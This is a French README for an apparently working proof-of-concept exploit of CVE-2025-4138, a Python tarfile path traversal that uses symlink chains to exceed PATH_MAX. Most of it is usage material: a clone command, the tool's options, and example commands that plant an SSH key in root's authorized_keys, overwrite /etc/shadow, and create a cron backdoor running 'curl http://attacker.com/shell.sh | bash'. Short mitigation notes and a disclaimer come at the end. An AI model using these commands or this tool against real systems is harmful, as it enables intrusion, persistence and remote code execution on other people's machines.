
PoC Python pour CVE-2025-4138, une traversée de chemin dans le module tarfile de Python exploitant des chaînes de liens symboliques pour contourner PATH_MAX afin d'écrire des fichiers arbitraires.
tarfile de PythonAuteur : d3vn0mi
_______ _______ ____ ___ ___ ___ _ _ _ _____ ___
/ ___\ \ / / ____| |___ \/ _ \__ \| __| | | || |___ /( _ )
| | \ V /| _| _____ __) | | | |) |__ \ ___| | || |_|_ \/ _ \
| |___ | | | |__|_____/ __/| |_| / __/___) |___|__ _|__) \__, |
\____| |_| |_____| |_____|\___/_____|____/ |_||____/ /_/
[ CVE-2025-4138 :: Python tarfile PATH_MAX Bypass ]
[ Author: d3vn0mi ]
Un exploit de type preuve de concept (PoC) pour CVE-2025-4138, une vulnérabilité de traversée de chemin dans le module tarfile de Python. La vulnérabilité permet à un attaquant de créer une archive tar malveillante qui écrit des fichiers à des emplacements arbitraires en dehors du répertoire d'extraction prévu en abusant des chaînes de symlinks pour dépasser .
PATH_MAX| Champ | Valeur |
|---|---|
| ID CVE | CVE-2025-4138 |
| Composant | Module tarfile de Python |
| Type | Traversée de chemin (CWE-22) |
| Vecteur | Chaîne de symlinks + contournement de PATH_MAX |
| Impact | Écriture arbitraire de fichiers en dehors du répertoire d'extraction |
L'exploit fonctionne en quatre étapes :
Inflation du chemin -- Une chaîne de répertoires profondément imbriqués et de symlinks est construite afin que le chemin entièrement résolu dépasse la limite PATH_MAX du noyau (4096 octets sous Linux).
Symlink pivot -- Un symlink est ajouté dont le chemin résolu franchit la limite PATH_MAX. Comme le chemin est trop long pour être résolu, les contrôles de sécurité de tarfile (qui reposent sur os.path.realpath()) échouent silencieusement et passent outre la validation.
Symlink d'échappement -- Un second symlink utilise une traversée ../ via le pivot pour sortir entièrement du répertoire d'extraction et pointer vers un chemin absolu contrôlé par l'attaquant sur le système de fichiers.
Dépôt du payload -- Un fichier classique est écrit via le symlink d'échappement et atterrit au chemin cible avec un contenu et des permissions contrôlés par l'attaquant.
Extract dir
|
+-- ddd...d/ (247-char dir)
| +-- a -> ddd...d (symlink shortcut)
| +-- ddd...d/
| +-- b -> ddd...d
| +-- ... (16 levels deep, resolved path > 4096)
|
+-- a/b/.../p/lll...l -> ../../... (pivot - PATH_MAX exceeded)
+-- escape -> pivot + ../../... + /target/dir (escape)
+-- escape/target_file <-- PAYLOAD LANDS HERE (outside extract dir)
git clone https://github.com/d3vn0mi/cve_2025_4138_poc.git
cd cve_2025_4138_poc
Aucune dépendance externe n'est requise -- l'exploit utilise uniquement les modules de la bibliothèque standard de Python 3.
usage: cve_2025_4138.py [-h] [-o OUTPUT] [-t TARGET] [-p PAYLOAD]
[-s PAYLOAD_STRING] [-k SSH_KEY] [-m MODE]
[-d DEPTH] [-v] [-q]
| Option | Description |
|---|---|
-o, --output | Chemin de l'archive tar de sortie (défaut : exploit.tar) |
-t, --target | Chemin absolu du fichier à écrire sur la cible (défaut : /root/.ssh/authorized_keys) |
-p, --payload | Chemin vers un fichier dont le contenu devient le payload |
-s, --payload-string | Utiliser une chaîne littérale comme payload |
-k, --ssh-key | Chemin vers un fichier de clé publique SSH |
-m, --mode | Mode de permission du fichier en octal (défaut : 0600) |
-d, --depth | Profondeur de traversée de répertoire (défaut : 8) |
-v, --verify | Afficher le contenu de l'archive après sa création |
-q, --quiet | Masquer la bannière |
Écrire une clé publique SSH dans le fichier authorized_keys de root :
python3 cve_2025_4138.py -k ~/.ssh/id_rsa.pub -v
Écrire une tâche cron pour la persistance :
python3 cve_2025_4138.py \
-s "* * * * * root curl http://attacker.com/shell.sh | bash" \
-t /etc/cron.d/backdoor \
-m 0644 \
-o cron_exploit.tar
Écrire un contenu de fichier arbitraire depuis un fichier local :
python3 cve_2025_4138.py \
-p payload.txt \
-t /etc/shadow \
-o shadow_exploit.tar \
-v
[*] Building exploit tarball: exploit.tar
[*] Target file: /root/.ssh/authorized_keys
[*] Payload size: 574 bytes
[*] Traversal depth: 8
[*] Stage 1/4: Creating symlink chain for path inflation...
[*] Chain link 1/16: resolved path length ~247 bytes
[*] Chain link 2/16: resolved path length ~494 bytes
...
[*] Stage 2/4: Creating pivot symlink (PATH_MAX bypass)...
[*] Stage 3/4: Creating escape symlink (directory traversal)...
[*] Stage 4/4: Writing payload through escape symlink...
[+] Exploit tarball created: exploit.tar
[+] Archive size: 20480 bytes
[+] Target: /root/.ssh/authorized_keys (mode 0o600)
[+] Done. Use with caution - authorized testing only.
tarfile.data_filter (Python 3.12+), qui fournit des contrôles d'extraction plus stricts.--strip-components ou validez le contenu de l'archive avant l'extraction.fs.protected_symlinks).Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive. Obtenez toujours une autorisation écrite appropriée avant de tester des systèmes qui ne vous appartiennent pas.
Ce projet est sous licence MIT.
d3vn0mi | GitHub